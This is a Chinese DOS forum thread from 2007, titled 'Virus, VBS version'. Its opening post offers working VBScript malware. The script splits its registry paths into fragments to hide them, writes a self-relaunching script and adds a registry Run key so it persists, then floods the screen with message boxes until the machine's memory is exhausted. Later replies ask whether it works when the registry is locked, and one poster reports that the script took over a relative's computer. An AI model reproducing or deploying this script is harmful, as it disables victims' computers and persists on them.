![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-05 16:40 |
共 48,039 主题排行 / 350,124 发帖 / 今日 2 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 病毒,VBS版 |
| 可打印版本 1,152 / 10 |
| 第1楼 zhoushijay | 发表于 2007-06-20 11:07 |
| 高级用户 发帖 375 积分 845 | |
|
病毒,VBS版 set ws=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject") a="HKEY_CURRE" b="NT_USER\Softw" c="are\Microsoft\Win" d="dows\C" e="urrentVersion\Run\5174" f="C:\Documen" g="ts and Settings\" h="5174.vbs" if fso.fileexists("C:\Documents and Settings\5174.vbs")=false then set cr=fso.createtextfile("5174.vbs") cr.write "do"&chr(13)&chr(10)&_ "set ws=createobject("&chr(34)&"wscript.shell"&chr(34)&")"&chr(13)&chr(10)&_ "ws.run "&chr(34)&"5174.vbs"&chr(34)&chr(13)&chr(10)&_ "msgbox "&chr(34)&"阿晓,我好脆弱,快点解决我吧 ^^"&chr(34)&chr(44)&chr(44)&chr(34)&"洪水泛滥啦!"&chr(34)&chr(13)&chr(10)&_ "loop" cr.close fso.movefile "5174.vbs",f&g end if ws.regwrite a&b&c&d&e,f&g&h ws.run chr(34)&f&g&h&chr(34) set ws=nothing set fso=nothing [ Last edited by zhoushijay on 2007-6-20 at 11:46 AM ] |
|
| 第2楼 HAT | 发表于 2007-06-20 12:13 |
| 版主 发帖 5,017 积分 9,023 | |
|
//阿晓,我好脆弱,快点解决我吧 ^^
是不是写"病毒"的人都比较有幽默感?^^ //ws.regwrite a&b&c&d&e,f&g&h 假设注册表已经锁定,这句还能成功吗?不懂vbs :'( |
|
| 第3楼 lxmxn | 发表于 2007-06-20 12:27 |
| 版主 发帖 4,938 积分 11,386 | |
|
在XP sp2下测试了一下,注册表锁定了还是可以写注册表的。
|
|
| 第4楼 zhoushijay | 发表于 2007-06-20 13:21 |
| 高级用户 发帖 375 积分 845 | |
|
发现了一个问题,从一个VBS文件启动另外一个VBS文件,另外一个VBS文件又要启动一个VBS文件,
VBS这样的传递做不到,有没有什么解决办法 还有,请问楼上注册表怎么锁定 |
|
| 第5楼 lxmxn | 发表于 2007-06-20 13:48 |
| 版主 发帖 4,938 积分 11,386 | |
|
我是写注册表键值DisableRegistryTools为1。
|
|
| 第6楼 zhoushijay | 发表于 2007-06-20 14:14 |
| 高级用户 发帖 375 积分 845 | |
|
修改了一下,上面的代码有错误,再增加一个自生功能(自生功能保存的文件名必须是23.vbs)
[ Last edited by zhoushijay on 2007-6-20 at 02:16 PM ] |
|
| 第7楼 slore | 发表于 2007-06-20 18:57 |
| 铂金会员 发帖 2,478 积分 5,212 | |
|
Run的权限早设置了=。=C:\WINDOWS我也NTFS设置了权限=。=
VBS好好学些技巧好了,不要浪费精力到做这些事情上。。。 |
|
| 第8楼 429499381 | 发表于 2007-08-09 00:19 |
| 中级用户 发帖 202 积分 452 | |
|
我当时拿你的代码胡乱复制粘贴运行了一下, 只看见窗口闪了一下什么都没有出
现! 以为是我的2003企业版的系统不支持的原因, 也就没在意, 继续疯狂实 验其他的代码!! 后来第2天上班, 我弟弟(菜鸟)发了一条短信给我, 说:家里 的电脑中了VBS病毒, 不断出现窗口, 无法关闭, 直到内存为0。 我看了弟弟的描述基本明白怎么回事, 回家后问题很快解决!! 事后想想有点后怕, 我的硬盘里面有好几十G的资料!!!! 要 的。。。。。。。 恐怕我活不了, 上次也是胡乱实验XP的NTF S加密和权限设置, 结果系统盘还原后其他盘的重要文件夹都无法访问, 怎 么实验也没有, 求助了好久, 试过了热心人的办法都无效, 最后还是忍痛 :P全盘格式化了 |
|
| 第9楼 knoppix7 | 发表于 2007-08-09 12:51 |
| 银牌会员 发帖 634 积分 1,287 来自 cmd.exe | |
|
NTF
S加密和权限..... 同情。 用哪个什么替换子容器的什么什么东西就可以解决了。。。 |
|
| 第10楼 429499381 | 发表于 2007-08-09 20:31 |
| 中级用户 发帖 202 积分 452 | |
|
要的能的话, 我早就OK 了, 何必欲哭无泪
|
|
| 第11楼 meicnk | 发表于 2007-08-27 11:31 |
| 初级用户 发帖 11 积分 22 | |
|
xiexie .学习中
|
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |